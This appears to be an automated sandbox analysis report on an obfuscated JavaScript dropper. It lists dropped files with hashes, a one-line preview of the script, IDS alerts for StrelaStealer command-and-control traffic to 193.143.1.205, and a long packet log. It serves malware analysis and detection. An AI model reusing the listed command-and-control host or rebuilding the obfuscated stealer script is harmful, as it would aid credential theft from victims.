Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\bbaf8826-d0ce-4c62-adf7-2fcd78531265.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\df9956c4-32d3-4985-be3b-44c746319174.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/r5eYIGNPpOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:T5eZGOWLxBGZN3mlind9i4ufFXpAXkru
MD5:	4CBEAB1994786A0B8AE7BAF48FAD3A6A
SHA1:	2F22D79E3DF7B249DA18F028F5A14EB65BB9C139
SHA-256:	7E6BD13795A55EFAED961CFF688D9D59401599963C4AF42FD6ABAD434E7D6088
SHA-512:	DF0BFE07CDAFBD1DE973E9C16F854AFEEA391733E87B00A358EA53FC812746E077E74B04B144DAED0B4795ECE1638D43CDE7A283024212B548AE96ED3F1BA542
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16313), with CRLF line terminators
Entropy (8bit):	4.905037326596164
TrID:
File name:	248185965269371196.js
File size:	19'843 bytes
MD5:	eebb981b692f261855ff20f1700cb15f
SHA1:	9b7e027bfc326a043165a2e762565d00c8a0d24e
SHA256:	51bfca72baf2156b25240874947700791ecaa85fd84ca062784d07941b5ed940
SHA512:	dab53b5727dec33b1871c614438855d94e7bdbf0227b50c4918c94ee2bb701ae5132158d205cf22089e0a2e11e6ca4980c07ed574b3d97b3574b0ef0d622e967
SSDEEP:	384:rNBEKYE3EtEoUAdY69qZ0DVnHoGc+a5oD3:rNBEZE3EtEZAdY69qqDVnHoGw5oL
TLSH:	DB9295C89585D6A1CBE056FADD570ACB29204108B9F8C4B9DD4F29D04E8A97DFEF34B0
File Content Preview:	function tgtzfmctg(){ggnwynig=[1031,3079,5127,4103,2055,3072];var mrzxpeof=this[stjpts+pgpzry+jyqiyui+dhvswxsch+wncislud+tkgcjyx+vynnuo+nqddvvcb](this[ugfgdogky+utggtw+yybeurke+jyqiyui+vxjxt+stjpts+nqddvvcb][hrlghxk+jyqiyui+wncislud+pgpzry+nqddvvcb+wncisl

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:12:23.790823+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T05:12:23.790823+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T05:12:26.158484+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:12:22.992194891 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:22.997235060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:22.997337103 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:23.032866001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:23.037826061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.790668964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.790704966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.790719032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.790738106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.790822983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:23.790822983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:23.791028023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.791049957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.791070938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.791084051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.791096926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.791101933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.791127920 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:23.791333914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:23.795764923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.795784950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.795835018 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:23.845581055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.845649004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.845741987 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:23.907923937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.907949924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.907969952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.907995939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.908010006 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:23.908035040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.908135891 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:23.908266068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.908277988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.908304930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.908315897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.908337116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.908339024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:23.908339024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:23.908396959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:23.909209967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.909233093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.909246922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.909262896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.909281969 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:23.909284115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.909373999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:23.910043001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.910069942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.910095930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.910111904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.910110950 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:23.910126925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.910202026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:23.910202026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:23.910911083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.910963058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:23.911020994 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:23.978913069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.012111902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.012140036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.012161016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.012168884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.012171030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.012329102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.024662971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.024697065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.024705887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.024708033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.024730921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.024750948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.024801016 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.024801016 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.024969101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.024981976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.025001049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.025109053 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.025181055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.025202990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.025244951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.025309086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.025353909 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.025355101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.025373936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.025393963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.025412083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.025854111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.025878906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.025896072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.025907040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.025922060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.025927067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.025970936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.025981903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.025986910 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.025986910 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.026098967 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.026761055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.026777029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.026794910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.026808977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.026828051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.026829004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.026846886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.026850939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.026865005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.026896954 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.027637959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.027651072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.027676105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.027687073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.027693987 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.027709007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.027719975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.027740955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.027756929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.027756929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.027832985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.028434992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.028448105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.028469086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.028481007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.028484106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.028506994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.028517962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.028543949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.028553009 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.028553009 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.066041946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.066066980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.066087008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.066135883 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.066135883 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.098886013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.129132032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.129151106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.129198074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.129204035 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.129210949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.129237890 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.129271984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.129285097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.129302979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.129328966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.129403114 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.141531944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.141549110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.141582966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.141593933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.141607046 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.141613960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.141625881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.141695023 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.141695023 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.141716957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.141731977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.141752005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.141835928 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.141931057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.141947031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.141964912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.141974926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.141983986 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.142050982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.142112017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.142122030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.142151117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.142151117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.142153025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.142170906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.142189026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.142364979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.142455101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.142501116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.142512083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.142530918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.142553091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.142700911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.142761946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.142774105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.142786980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.142786980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.142807961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.142822981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.142882109 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.142882109 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.143084049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.143130064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.143157959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.143170118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.143192053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.143194914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.143208027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.143246889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.143246889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.143275976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.143287897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.143307924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.143333912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.143345118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.143352032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.143449068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.144037008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.144052029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.144062996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.144082069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.144092083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.144110918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.144110918 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.144124031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.144150019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.144154072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.144154072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:12:24.144161940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.144181967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.144192934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 05:12:24.144215107 CET	80	49705	193.143.1.205	192.168.2.8
